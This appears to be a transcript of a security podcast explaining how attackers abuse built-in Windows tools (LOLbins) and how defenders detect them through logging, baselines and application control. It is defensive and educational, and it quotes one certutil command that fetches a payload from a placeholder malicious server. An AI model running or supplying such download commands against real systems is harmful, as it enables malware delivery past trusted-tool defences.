Latest / Cybersecurity Business with Fexingo: Security Companies, Breaches, and Enterprise Defense / How Hackers Are Using Living-Off-the-Land Binaries
Transcript
- Lucas: So you’ve got a security stack with firewalls, EDR on every endpoint, network segmentation — the works. And an attacker still gets in. But here’s the twist: they never drop a single piece of malware. Luna: No malware? Then how are they doing damage? Lucas: They’re using the tools already on the machine. PowerShell, WMI, Certutil, Bitsadmin — legitimate Windows binaries that attackers weaponize. It’s called living-off-the-land, or LOLbins. And it’s one of the hardest threats to detect because the activity looks exactly like normal admin work. Luna: Right, because if the tool is signed by Microsoft, your security tools see it as trusted. Attackers hide in plain sight. Lucas: Exactly. And honestly, if today’s conversation is useful for what you’re building or running, that’s the link — buy me a coffee dot com slash fexingo. The smallest possible gesture helps keep this ad-free and focused on the real technical stuff. Luna: Yeah, it’s a good reminder that quality security analysis doesn’t come from sponsored content. Appreciate everyone who chips in. Lucas: Alright, back to the binaries. There’s even a community project called LOLBAS — Living Off the Land Binaries and Scripts — that catalogs dozens of these tools and their abuse techniques. It’s essentially a playbook for attackers and defenders. Luna: And it’s updated constantly. New binaries get added as researchers find creative ways to misuse them. Lucas: Right. Let’s talk about a specific case — the Kaseya supply-chain attack in 2021. The REvil gang exploited a zero-day in Kaseya’s VSA software, but once inside, they moved laterally using PowerShell and WMI. They didn’t need to upload custom tools; they just scripted the native environment. Luna: I remember that. Over a thousand businesses were hit. And because the activity looked like legitimate admin scripts, many EDRs didn’t flag it initially. Lucas: That’s the core problem. Traditional signature-based detection looks for known bad files or patterns. LOLbins don’t have a file to match — they’re already whitelisted. So defenders have to shift to behavior-based detection. Luna: What does that look like in practice? You can’t just block PowerShell — half your IT automation runs on it. Lucas: You can’t block it, but you can constrain it. Microsoft’s PowerShell Constrained Language Mode restricts what scripts can do — no invoking arbitrary Win32 APIs, for example. You can also log all PowerShell execution with Script Block Logging and send those logs to a SIEM. Luna: So it’s about visibility and alerting on abnormal usage patterns, not just blocking binaries. Lucas: Exactly. Another powerful technique is application control. Tools like AppLocker or Windows Defender Application Control can enforce policies that only allow approved binaries to run. But they’re a pain to configure and maintain, so adoption is spotty. Luna: Let’s talk about a different LOLbin: Certutil. It’s a command-line tool for managing certificate services, but attackers use it to download payloads because it’s already trusted and often allowed through firewalls. Lucas: Right. The command 'certutil -urlcache -split -f http://malicious.server/payload.exe output.exe' downloads a file and saves it. It’s perfectly valid syntax. And since Certutil is a Microsoft tool, network security tools often let the outbound connection through. Luna: So how do you catch that? You’d need to monitor for Certutil being used in unexpected ways, like downloading files from external URLs when your environment rarely uses it. Lucas: Exactly. That’s where a threat-hunting mindset comes in. You build baselines of normal usage for each tool. If PowerShell usually runs during business hours but spikes at 3 AM, that’s worth investigating. Sysmon — from Microsoft Sysinternals — is great for this. It logs process creation with command-line details, network connections, file creation events. Luna: Sysmon gives you the telemetry. But you still need analysts to connect the dots. Or you can layer on user and entity behavior analytics, UEBA, which models normal behavior and flags anomalies. Lucas: Right. The SolarWinds breach in 2020 is another classic LOLbin case. The attackers, widely attributed to Russian intelligence, used the legitimate SolarWinds Orion software as their initial vector. Once inside, they used native Windows tools like PowerShell, WMI, and scheduled tasks to move laterally and exfiltrate data. They stayed undetected for months because they looked like normal admin activity. Luna: And that’s the scary part — even with the best tools, if the attacker behaves like a legitimate user, you’re essentially blind. The only hope is to detect the subtle anomalies. Lucas: Yeah. That’s why many security teams are now focusing on the 'dwell time' — the period between initial compromise and detection. Reducing dwell time means catching those anomalies faster. One tactic is using deception technology: deploy fake credentials, fake files, fake databases. When an attacker uses a LOLbin to access them, you get an instant alert. Luna: Deception turns the tables. The attacker thinks they’re using a legitimate tool to reach a legitimate target, but they’ve actually stepped on a landmine. Lucas: Precisely. And there are free resources like the LOLBAS project that list every known abuse technique. Defenders can use that list to write detection rules. For example, if Bitsadmin is used to upload files to an external server — that’s a red flag because Bitsadmin is typically used for downloads, not uploads. Luna: So you’re basically using the attacker’s own playbook against them. Lucas: Exactly. And the key takeaway for any CISO or security architect is: you can’t stop every LOLbin, but you can make it much harder. Disable tools you don’t need — if you don’t use PowerShell remoting, turn it off. Use Group Policy to restrict WMI to specific accounts. Enable command-line logging everywhere. And test your detection rules against actual LOLbin techniques. Luna: One thing I’d add: don’t forget about living-off-the-land in cloud environments. Attackers can abuse legitimate cloud APIs — like AWS Systems Manager or Azure Automation — to run commands without installing anything. Lucas: Great point. The principle is the same. In the cloud, you have to monitor API calls, not just binaries. CloudTrail logs in AWS, Azure activity logs — those are your equivalent of Sysmon. Luna: So whether on-prem or cloud, the defense comes down to visibility, baselines, and behavioral analytics. Lucas: Right. And one more thing: the human element. Training your IT admins to recognize when they’re being asked to run a script that looks suspicious. Social engineering is often how the initial LOLbin gets executed. Luna: So we’ve covered the technique, the tools, the detection challenges, and some mitigations. I think the biggest takeaway is that you can’t rely on blocking alone. You have to assume the attacker will use your own tools against you. Lucas: Exactly. Build your defenses around that assumption. And if you want a practical starting point, download the LOLBAS list and write one detection rule per week. You’ll cover the most common LOLbins in a few months. Luna: That’s a solid action item. Thanks, Lucas. Lucas: Thanks, Luna. That’s all for today.